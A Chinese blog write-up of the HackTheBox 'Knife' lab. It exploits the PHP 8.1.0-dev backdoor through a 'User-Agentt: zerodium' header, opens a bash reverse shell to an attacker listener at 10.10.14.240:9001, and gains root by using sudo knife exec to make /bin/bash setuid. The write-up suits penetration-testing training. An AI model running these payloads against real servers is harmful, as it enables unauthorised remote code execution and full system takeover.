HackTheBox-Knife靶场实战

HackTheBox-Knife靶场实战

靶场信息

 

 

 

 信息搜集

首先使用nmap进行端口扫描

 

 

 


我们得知开启了22和80端口

出于能不爆破就不爆破的原则,先访问80端口看一下

 

 

80端口上的内容有点不明所以。

在完全没思路的情况下,尝试使用dirbuster工具进行了目录爆破,但四十分钟过去了却没有一丁点收获,连robots.txt页面也不存在。

我的思路就卡在这里了,一时之间不知道应该怎么做,就去泡了杯茶,突然来了灵感,要不先抓个包看看?

 

 

 


 

乍一看似乎没有什么值得关注的东西,但在通宵日靶场导致神志不清又经过了茶叶洗礼的脑瓜子的引导下,我注意到了一个点。

X-Powered-By: PHP/8.1.0-dev

这东西,隐约之间觉得不简单,便去百度进行了搜索。搜索的同时尝试了nikto工具,也提示了这一条

 

 

就是这两个提示,让我确信突破口在这,然后经过大量的google和百度搜索后,找到了一丝思路。

PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

 

漏洞利用

 


 

使用burp抓包,并加入字段

User-Agentt: zerodiumvar_dump(2*3);

发现被成功执行

 

接着尝试命令是否可被解析执行

User-Agentt: zerodiumsystem("id");

 

 

 


Nice 命令可被执行,那就简单了,可以执行命令,那就尝试getshell吧

 

本地监听:

Nc –nvlp 9001

执行命令:

User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.240/9001 0>&1'");

 

 

成功通过nc获得了一个shell

 

首先确定是否有python

Which python3

 

 

确定python3存在,使用python3获得一个更加稳定的shell程序

python3 -c 'import pty; pty.spawn("/bin/bash")'

 

 

成功获得普通用户的flag

 

漏洞提权

先确定knife用户的sudo权限

Sudo –l

Ls –al /usr/bin/knife

 

 

 

进行提权

echo "system('chmod +s /bin/bash')" > exploit.rb

ls

sudo /usr/bin/knife exec exploit.rb

ls -al /bin/bash

/bin/bash –p

 

 

获得root用户的flag

 

posted @ 2021-05-26 15:06  xyongsec  阅读(596)  评论(0编辑  收藏  举报